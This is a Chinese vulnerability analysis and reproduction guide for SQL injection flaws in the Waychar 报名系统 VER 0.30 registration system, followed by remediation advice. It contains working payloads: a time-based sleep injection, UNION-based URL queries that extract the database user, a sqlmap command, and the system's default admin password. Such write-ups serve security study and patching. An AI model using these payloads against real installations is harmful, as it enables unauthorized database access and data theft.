waychar报名系统VER 0.30 SQL注入复现
字数 1134 2025-08-18 17:33:25

Waychar报名系统VER 0.30 SQL注入漏洞分析与复现指南

1. 环境准备

  • 源码下载:http://down.chinaz.com/soft/39094.htm
  • 环境搭建:使用phpstudy搭建测试环境

2. 漏洞概述

Waychar报名系统VER 0.30存在多处SQL注入漏洞,主要原因是未对用户输入参数进行有效过滤就直接拼接SQL语句。

3. 漏洞详情与复现

3.1 前台登录处SQL注入

复现步骤

  1. 使用数据库已有账号密码登录
  2. 抓取登录请求数据包并保存为txt文件
  3. 使用sqlmap进行注入测试

漏洞分析

  • 文件位置:controller/ajax.php 24-58行
  • 漏洞原因:username参数未经任何过滤直接拼接到SQL语句中

3.2 前台找回密码处SQL注入

复现步骤

  1. 输入数据库中存在的手机号码
  2. 截获数据包并保存为txt文件
  3. 使用sqlmap进行注入测试

漏洞分析

  • 文件位置:controller/ajax.php 12-23行
  • 漏洞原因:mobi参数未经任何过滤直接赋值给$mobi变量并拼接到SQL语句中

3.3 前台重置密码处延时注入

复现Payload

12345678'and(select*from(select+sleep(5))a/**/union/**/select+1)='

漏洞分析

  • 文件位置:controller/ajax.php 100-113行
  • 漏洞原因:password_new参数未经任何过滤直接赋值给$password_o变量
  • 受影响SQL语句:
    update w_user set password_o = '$password_o', password = '$password' where id = " . $_COOKIE['id']
    

3.4 活动信息处SQL注入

复现步骤

  1. 测试字段数:
    /index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7
    
    /index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7,8
    
  2. 获取当前用户:
    /index.php?c=race&action=race_msg&id=57 union select 1,2,3,4,5,user(),7
    

漏洞分析

  • 文件位置:controller/ajax.php 136-142行
  • 漏洞原因:id参数未经任何过滤直接使用

3.5 后台会员管理搜索处SQL注入

复现步骤

  1. 使用默认密码admin123登录后台
  2. 在会员管理页面输入任意号码并抓包
  3. 将数据包保存为txt文件后使用sqlmap测试

漏洞分析

  • 文件位置:controller/user.php 12-24行
  • 漏洞原因:mobi参数未经任何过滤直接拼接到SQL语句中

4. 漏洞利用工具

推荐使用sqlmap进行自动化测试:

sqlmap -r request.txt --batch

5. 修复建议

  1. 对所有用户输入参数进行严格过滤和转义
  2. 使用预处理语句(PDO)替代直接SQL拼接
  3. 对数字型参数进行强制类型转换
  4. 对字符串参数使用适当的转义函数
  5. 实施最小权限原则,限制数据库用户权限

6. 总结

该系统中存在多处SQL注入漏洞,主要原因是缺乏对用户输入的有效过滤。这些漏洞分布在系统的多个功能模块中,包括前台登录、密码找回、密码重置、活动信息展示以及后台会员管理等功能。建议开发者全面审查代码,对所有用户输入进行严格验证和过滤。

Waychar报名系统VER 0.30 SQL注入漏洞分析与复现指南 1. 环境准备 源码下载 :http://down.chinaz.com/soft/39094.htm 环境搭建 :使用phpstudy搭建测试环境 2. 漏洞概述 Waychar报名系统VER 0.30存在多处SQL注入漏洞,主要原因是未对用户输入参数进行有效过滤就直接拼接SQL语句。 3. 漏洞详情与复现 3.1 前台登录处SQL注入 复现步骤 : 使用数据库已有账号密码登录 抓取登录请求数据包并保存为txt文件 使用sqlmap进行注入测试 漏洞分析 : 文件位置: controller/ajax.php 24-58行 漏洞原因: username 参数未经任何过滤直接拼接到SQL语句中 3.2 前台找回密码处SQL注入 复现步骤 : 输入数据库中存在的手机号码 截获数据包并保存为txt文件 使用sqlmap进行注入测试 漏洞分析 : 文件位置: controller/ajax.php 12-23行 漏洞原因: mobi 参数未经任何过滤直接赋值给 $mobi 变量并拼接到SQL语句中 3.3 前台重置密码处延时注入 复现Payload : 漏洞分析 : 文件位置: controller/ajax.php 100-113行 漏洞原因: password_new 参数未经任何过滤直接赋值给 $password_o 变量 受影响SQL语句: 3.4 活动信息处SQL注入 复现步骤 : 测试字段数: 获取当前用户: 漏洞分析 : 文件位置: controller/ajax.php 136-142行 漏洞原因: id 参数未经任何过滤直接使用 3.5 后台会员管理搜索处SQL注入 复现步骤 : 使用默认密码 admin123 登录后台 在会员管理页面输入任意号码并抓包 将数据包保存为txt文件后使用sqlmap测试 漏洞分析 : 文件位置: controller/user.php 12-24行 漏洞原因: mobi 参数未经任何过滤直接拼接到SQL语句中 4. 漏洞利用工具 推荐使用 sqlmap 进行自动化测试: 5. 修复建议 对所有用户输入参数进行严格过滤和转义 使用预处理语句(PDO)替代直接SQL拼接 对数字型参数进行强制类型转换 对字符串参数使用适当的转义函数 实施最小权限原则,限制数据库用户权限 6. 总结 该系统中存在多处SQL注入漏洞,主要原因是缺乏对用户输入的有效过滤。这些漏洞分布在系统的多个功能模块中,包括前台登录、密码找回、密码重置、活动信息展示以及后台会员管理等功能。建议开发者全面审查代码,对所有用户输入进行严格验证和过滤。